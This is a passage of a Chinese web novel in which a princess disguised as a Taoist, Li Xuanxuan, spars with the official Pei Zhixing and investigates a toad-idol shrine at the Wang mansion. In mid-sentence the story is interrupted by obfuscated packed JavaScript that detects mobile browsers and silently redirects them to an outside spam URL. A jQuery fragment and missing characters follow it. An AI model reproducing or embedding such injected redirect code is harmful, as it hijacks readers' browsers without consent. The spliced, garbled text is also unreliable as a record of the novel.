“贵府果然妖气横生，就让贫道看看到底何方妖孽在府上作怪······”
李玄玄刚抬起眼皮，就一眼瞥见笔直站在庭院中间的裴知行。
四目相对，相视无言。
仿佛是当头一棒，前阵子自己酒后做过的一桩桩荒唐事顿时在脑海中炸开，李玄玄猛然后退一步，如临大敌。
她赶忙背过身，举起袖袍遮住脸，灰溜溜得直想找个地洞钻进去。
李玄玄磕巴道：“那······那个！王四公子，贫道适才想起，出门未看皇历，今日诸事不顺，诸事不顺啊！······贫道还是择日再来拜访······”
王持金见王四郎到底是没能请到赵府尹的名帖，不禁哀恸道：“吾命休矣！”
说罢，两眼一黑晕了过去。
王四郎见状立马扑通一声跪在李玄玄身旁，紧紧抱住她的大腿，不让她离开。
“道长！您方才可不是这么说的！您不是信誓旦旦地说您是钟馗下凡，定能平了王家的灾厄吗？！大理寺都快把我阿翁押走了，您怎能在这种紧要关头见死不救！”
“不是贫道不救……实在是贵府妖孽太甚，钟馗来了也自身难保……”李玄玄一面拿眼瞟着裴知行，一面拼命拽着裤脚，想将腿拔出来。
一位大理寺官吏认出了她，登时指着她大喝道：“怎么又是你？你不就是上次被带到大理寺的那个嫌疑道士吗？！来人，将她赶出去！”
“谁敢？！”“住手！”
在场所有人猛然顿住，包括李玄玄。
见大理寺的官吏们各个眼巴巴地望着自己，裴知行停顿了一会，继续道：“不用管她，我们查我们的。”说罢，便复而背过身去。
这也太不像少卿的作风了，平日里他可是很讨厌外人出现在办案现场的。
当然也没人会蠢到违背他的命令，那位官吏狐疑地瞥了李玄玄一眼，只好继续手头的工作。
李玄玄怔了半晌，见裴知行没有继续要找自己麻烦的样子，便摆脱了王四郎，兴冲冲地凑到裴知行身旁。
她用胳膊肘悄悄捣了捣他的手臂，挤眉弄眼道：“怎么样？裴少卿，听说你最近在长安城声名大噪，本宫可有成就你风流才子的美名？”
那夜过后，据一位不愿透露名字的李氏郎君举证，他亲眼看见大理寺少卿带着一位点着面靥的绝色娘子深夜私会，故模仿前朝妆容的风范又死灰复燃地在长安城流行了小一段时间，为了结交拉拢裴知行，来大理寺登门拜访喊他上平康坊吃酒的同僚络绎不绝，搞得他不胜其烦。
裴知行本就因上次吃哑巴亏的事憋了一肚子气，李玄玄不提还好，这一提，他简直像炮仗点燃般炸开。
他竖起身子刚想开骂，碍于四周都是他的下属，这也不是件光彩的事，只好暂时咽下这股怒气，只侧头剜了李玄玄一眼，低声切齿道：“托长公主洪福，下官在朝堂上被知弹侍御史弹劾个行为不端，疏漏怠惰之罪，下官百口莫辩，只能认罪，被圣人罚了半年俸禄。”
他被罚倒是出乎李玄玄意料，没想到三哥看似温柔随和，对底下的官员还挺严苛的。
李玄玄想到那日裴知行多少还是帮了一点儿忙，自己最后那个恶作剧委实过分了些。不禁尬笑两声，安慰道：“不打紧，你阿耶可是三州刺史，家中定是根基深厚，有钱得很，这点小钱，入不了裴少卿的法眼。”
察觉到裴知行双拳紧握，有当众要揍自己之势，她赶紧又补了一句：“大不了，下次你立功的时候，我在三哥身旁美言几句，给你把这半年俸禄再加上便是。”
“不就是一句话的事。”
“免了！”裴知行狠狠回绝道，也不知怎么，往日在朝堂上，他也不是个易受人挑拨的人，只是每每听了李玄玄不痛不痒的几句话，浑身邪火就止不住地往外冒，根本压不住。
“这次没丢了官职下官已是谢天谢地，可不敢再与长公主扯上关系，看来苟监说得也不无道理，有公主在的地方准没好事发生！”
见李玄玄看着自己的双眸眼角有些泛红，裴知行猛然顿住话头，才发现所有人都望向他们这边。
他这才发觉自己方才失言了，还未开口说些什么，李玄玄已经转身走了。
他常将小娘子吼哭，也从未觉得有什么不对，只是这次，心中莫名感到有些心虚。
再怎么说，李玄玄也是长公主，他方才这般作为，御史台再参他个以下犯上，枉蔑皇族之罪也全然不为过。
犹豫之际，李玄玄已回到王四郎身边。
裴知行暗自抬眼瞟过去，李玄玄侧脸笑盈盈的，完全不像是才被吼完的样子。
心中顿生鄙夷。
是自己多想了，亏的还是长公主，脸皮可真厚！
他又看了李玄玄好几眼，她与王四郎聊了几句，便一同向内院走去，直至消失在他视野里。
裴知行唤来离他最近的一位官吏。
“少卿有何吩咐？”
裴知行朝李玄玄消失的地方抬抬下巴，道：“方才那个道士，你去盯着她，有什么情况立即向我汇报。”
官吏不解道：“盯着她做甚么？”
见裴知行没有回答，只拿眼瞪着自己，那官吏没有继续再问，识趣地应喏下去了。
李玄玄在王四郎的陪同下，穿过一道瓶形拱门，来到后院。
院子后头也是花心思打理了一番，除了名贵的草木，还有一口汉白玉栏杆围着的池塘，池塘看上去不深，里头的荷花开得正盛，王持金所住的厢房就正对着这口池塘，微风袭来，荷叶摇曳，倒也赏心悦目。
腰后的皓月刀一过后院拱门，便剧烈振动起来，压都压不住。
很久没见涂山烨的牙这么兴奋了。
这府上有不得了的大妖怪。
李玄玄迟疑一会，从腰间的锦袋里取出一枚镂空香囊样的铁球，挂在幌金绳上。
这是最近她斥巨资，从一个江湖赤脚医者那买来的神药，据那位医者交代，纵使是涂山烨那样的大妖怪，也受不住这样猛烈的毒。
今日正好试它一试，看看是否如赤脚医者说的那般好用。
做完这些，她抚了抚刀柄，若无其事地向厢房内走去。
房内点着檀香，门口设有一座神坛，正对着那口池塘，神坛上披着各色幡旗锦缎，上面供奉着一只铜雕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974381|161276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的三腿□□，嘴里还衔着一吊钱。
李玄玄扬起眉。
这家人供奉的不是神佛，而是妖怪，这就有点儿可疑了。
她不禁伸手点了点金蟾塑像，想从中探得一丝端倪。
王四郎见状脸色大变，当下阻止道：“使不得道长！那可是我阿翁的宝贝，碰了他是会发脾气的！”
说罢，他跪在神坛前的蒲团上，对着金蟾的塑身磕了几个响头，嘴里不停念叨着：“金蟾大神恕罪。”
李玄玄收回了手，不屑道：“你阿翁都快被抓进大理寺了，怎不见金蟾大神出来保佑保佑？”
王四郎哑然，随即站起身，默默立在一边不说话。
李玄玄又问：“这尊塑像，是贵府何时请来的？”
王四郎摇摇头，道：“这尊塑像，从我记事起就摆在这了，只知阿翁十分宝贝它，说我们王家能有今天，全靠这金蟾大神的保佑。”
李玄玄内心翻了翻眼，什么大神，分明是个妖怪，若真如王四郎所说，王家能有今日全靠这妖怪保佑，那这一切就能说得通了。
只是与妖怪做交易，无异于与虎谋皮，最后失去的必定比得到的要多。
且基本不会有好下场。
李玄玄假意开起玩笑：“既然金蟾大神佑得贵府堆金积玉，就不用给它什么好处吗？”
王四郎摆摆手，憨笑道：“心诚则灵，我们一家都是虔诚之人，每日供香洒扫，诚心可撼天地，金蟾大神定是被我们的诚心所感动，才佑得王家风调雨顺。”
看来这个王四郎是当真什么都不知道，李玄玄极力绷住自己的脸，才不让白眼翻到天上去。
王四郎又道：“不过每逢中秋，阿翁便会让人放两尾红鲤到池子里，算是孝敬金蟾大神了。”
“就是这口池子？”
李玄玄狐疑地走到池塘边，池水清澈，一眼就能望见底部的淤泥，只是一尾红鲤都没看见。
甚至连一条鱼都没有。
王四郎看出了她心中的疑问，道：“阿翁说，这口池塘的底部可能有暗渠，与龙首渠相通，那些鲤鱼，估摸着都顺着暗渠，跑到那去了。”
李玄玄心不在焉地应着，双眸却是瞧向池塘对面的一棵老槐树。
槐树顶部的枝丫上有一只鸟巢。
她转头向王四郎吩咐道：“烦请四郎去找一些黄纸和朱砂来，贫道要在此地做法。”
王四郎双目一亮，道：“难道说，道长看出了什么端倪？”
“算是有一些头绪。”
她催促道：“快去吧。”
王四郎得令后，急急忙忙奔出后院，去找寻这两样东西，裴知行指派的那位躲在暗处的官吏，见他好像有什么发现，也跟了过去。
“这两样东西应该够他们找一会了。”李玄玄自言道。
他们前脚刚一离开，李玄玄便朝着那棵槐树吹了声口哨。
一只鹧鸪从鸟窝中探出头。
李玄玄一招手，它便飞下来，落在她手臂上。
她用手指抚了抚鹧鸪头顶的羽毛，道：“小家伙，你也是这里的长住户不是？跟我说说看，你都见过些什么趣事？”
